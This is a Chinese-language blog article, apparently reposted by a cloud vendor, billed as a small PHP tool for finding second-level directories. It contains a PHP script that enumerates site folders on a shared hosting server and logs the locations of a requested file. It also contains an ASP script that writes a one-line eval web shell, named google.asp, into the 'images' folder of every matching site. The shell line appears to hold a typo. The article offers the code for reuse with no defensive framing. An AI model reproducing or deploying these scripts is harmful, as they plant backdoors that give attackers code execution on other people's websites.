您好,登錄后才能下訂單哦!
這篇文章主要介紹了php如何一個(gè)找二層目錄的小東東,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
php版
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path3 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path3 = $path.'/'.$filename.'/html';
$path3 = $path.'/'.$filename;
if(is_dir($path3) && is_readable($path3))
{
@$handle2 = opendir($path3);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path3.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path3."\n",FILE_APPEND);
closedir($handle);
}
}
asp版
<% Server.ScriptTimeout=500000000 key = Trim(Request.QueryString("key")) msg=" <% eval(rquese(Chr(35)))%" &">" Set FSO=Server.CreateObject("Scripting.FileSystemObject") Set ServerFolder=FSO.GetFolder("C:\intel") Set ServerFolderList=ServerFolder.subfolders For Each ServerFileEvery IN ServerFolderList ' Response.write ServerFileEvery&"</br>" If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then Set sServerFolder=FSO.GetFolder(ServerFileEvery) Set sServerFolderList=sServerFolder.subfolders For Each sServerFileEvery IN sServerFolderList If LCase(sServerFileEvery.name) = "images" Then StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" End If Next End If Next Function StreamSaveToFile(sPath, sContent, sCharSet) Dim oStream If(InStr(sPath, ":") <= 0)Then sPath = Replace(sPath, ",", ",") sPath = Server.MapPath(sPath) sPath = Replace(sPath, ",", ",") End If Set oStream = Server.CreateObject("Adodb.Stream") With oStream .Type = 2 .Mode = 3 .Open .Charset = sCharSet .WriteText sContent .SaveToFile sPath, 2 .Close End With Set oStream = Nothing End Function %>
感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“php如何一個(gè)找二層目錄的小東東”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。